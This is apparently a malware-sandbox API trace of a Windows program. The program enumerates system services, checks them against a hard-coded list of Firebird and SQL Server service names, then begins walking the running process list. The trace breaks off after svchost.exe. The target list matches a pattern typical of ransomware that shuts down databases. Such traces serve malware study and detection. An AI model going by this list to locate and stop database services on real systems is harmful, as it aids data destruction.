	[0158.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0158.266] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0158.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0158.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0158.266] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0158.266] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0158.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0158.267] lstrlenW (lpString="CryptSvc") returned 8
	[0158.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0158.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0158.267] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0158.267] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0158.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0158.267] lstrlenW (lpString="DcomLaunch") returned 10
	[0158.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0158.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0158.267] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0158.267] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0158.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0158.267] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0158.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0158.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0158.267] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0158.267] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0158.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0158.267] lstrlenW (lpString="Dhcp") returned 4
	[0158.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0158.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0158.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0158.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0158.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0158.268] lstrlenW (lpString="Dnscache") returned 8
	[0158.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0158.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0158.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0158.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0158.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0158.268] lstrlenW (lpString="DPS") returned 3
	[0158.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0158.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0158.268] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0158.268] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0158.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0158.268] lstrlenW (lpString="DusmSvc") returned 7
	[0158.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0158.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0158.268] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0158.268] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0158.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0158.268] lstrlenW (lpString="EventLog") returned 8
	[0158.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0158.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0158.269] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0158.269] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0158.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0158.269] lstrlenW (lpString="EventSystem") returned 11
	[0158.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0158.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0158.269] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0158.269] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0158.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0158.269] lstrlenW (lpString="FontCache") returned 9
	[0158.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0158.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0158.269] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0158.466] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0158.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0158.467] lstrlenW (lpString="gpsvc") returned 5
	[0158.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0158.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0158.467] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0158.467] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0158.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0158.467] lstrlenW (lpString="iphlpsvc") returned 8
	[0158.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0158.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0158.467] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0158.467] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0158.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0158.467] lstrlenW (lpString="KeyIso") returned 6
	[0158.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0158.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0158.467] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0158.467] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0158.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0158.467] lstrlenW (lpString="LanmanServer") returned 12
	[0158.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0158.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0158.467] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0158.468] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0158.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0158.468] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0158.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0158.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0158.468] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0158.468] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0158.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0158.468] lstrlenW (lpString="lfsvc") returned 5
	[0158.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0158.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0158.468] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0158.468] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0158.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0158.468] lstrlenW (lpString="lmhosts") returned 7
	[0158.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0158.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0158.468] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0158.468] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0158.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0158.468] lstrlenW (lpString="LSM") returned 3
	[0158.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0158.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0158.469] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0158.469] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0158.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0158.469] lstrlenW (lpString="MpsSvc") returned 6
	[0158.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0158.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0158.469] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0158.469] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0158.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0158.469] lstrlenW (lpString="NcbService") returned 10
	[0158.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0158.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0158.469] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0158.469] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0158.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0158.469] lstrlenW (lpString="netprofm") returned 8
	[0158.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0158.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0158.469] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0158.469] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0158.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0158.469] lstrlenW (lpString="NgcSvc") returned 6
	[0158.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0158.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0158.470] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0158.470] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0158.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0158.470] lstrlenW (lpString="NlaSvc") returned 6
	[0158.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0158.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0158.470] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0158.470] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0158.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0158.470] lstrlenW (lpString="nsi") returned 3
	[0158.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0158.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0158.470] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0158.470] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0158.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0158.470] lstrlenW (lpString="PcaSvc") returned 6
	[0158.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0158.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0158.470] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0158.470] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0158.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0158.470] lstrlenW (lpString="PlugPlay") returned 8
	[0158.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0158.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0158.470] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0158.471] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0158.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0158.471] lstrlenW (lpString="Power") returned 5
	[0158.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0158.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0158.471] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0158.471] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0158.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0158.471] lstrlenW (lpString="ProfSvc") returned 7
	[0158.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0158.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0158.471] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0158.471] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0158.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0158.471] lstrlenW (lpString="RpcEptMapper") returned 12
	[0158.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0158.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0158.471] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0158.471] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0158.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0158.471] lstrlenW (lpString="RpcSs") returned 5
	[0158.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0158.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0158.471] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0158.471] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0158.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0158.472] lstrlenW (lpString="SamSs") returned 5
	[0158.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0158.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0158.472] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0158.472] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0158.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0158.472] lstrlenW (lpString="Schedule") returned 8
	[0158.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0158.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0158.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0158.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0158.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0158.472] lstrlenW (lpString="SecurityHealthService") returned 21
	[0158.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0158.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0158.472] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0158.472] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0158.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0158.473] lstrlenW (lpString="SENS") returned 4
	[0158.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0158.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0158.473] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0158.473] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0158.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0158.473] lstrlenW (lpString="ShellHWDetection") returned 16
	[0158.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0158.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0158.473] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0158.473] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0158.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0158.473] lstrlenW (lpString="Spooler") returned 7
	[0158.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0158.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0158.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0158.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0158.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0158.473] lstrlenW (lpString="StateRepository") returned 15
	[0158.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0158.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0158.473] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0158.473] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0158.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0158.473] lstrlenW (lpString="SysMain") returned 7
	[0158.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0158.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0158.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0158.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0158.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0158.474] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0158.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0158.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0158.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0158.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0158.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0158.474] lstrlenW (lpString="Themes") returned 6
	[0158.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0158.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0158.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0158.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0158.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0158.474] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0158.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0158.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0158.474] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0158.474] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0158.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4641fd0 | out: hHeap=0x4f0000) returned 1
	[0158.475] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c
	[0158.531] Process32FirstW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0158.533] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0158.535] lstrlenW (lpString="System") returned 6
	[0158.535] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0158.536] lstrlenW (lpString="smss.exe") returned 8
	[0158.536] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0158.537] lstrlenW (lpString="csrss.exe") returned 9
	[0158.537] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0158.538] lstrlenW (lpString="wininit.exe") returned 11
	[0158.538] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0158.540] lstrlenW (lpString="csrss.exe") returned 9
	[0158.540] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0158.548] lstrlenW (lpString="winlogon.exe") returned 12
	[0158.549] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0158.550] lstrlenW (lpString="services.exe") returned 12
	[0158.550] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0158.551] lstrlenW (lpString="lsass.exe") returned 9
	[0158.551] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0158.552] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0158.552] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0158.554] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0158.554] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.555] lstrlenW (lpString="svchost.exe") returned 11
	[0158.555] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.575] lstrlenW (lpString="svchost.exe") returned 11
	[0158.575] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0158.576] lstrlenW (lpString="dwm.exe") returned 7
	[0158.576] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.578] lstrlenW (lpString="svchost.exe") returned 11
	[0158.578] Process32NextW (in: hSnapshot=0x38c, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0158.672] lstrlenW (lpString="svchost.exe") returned 11
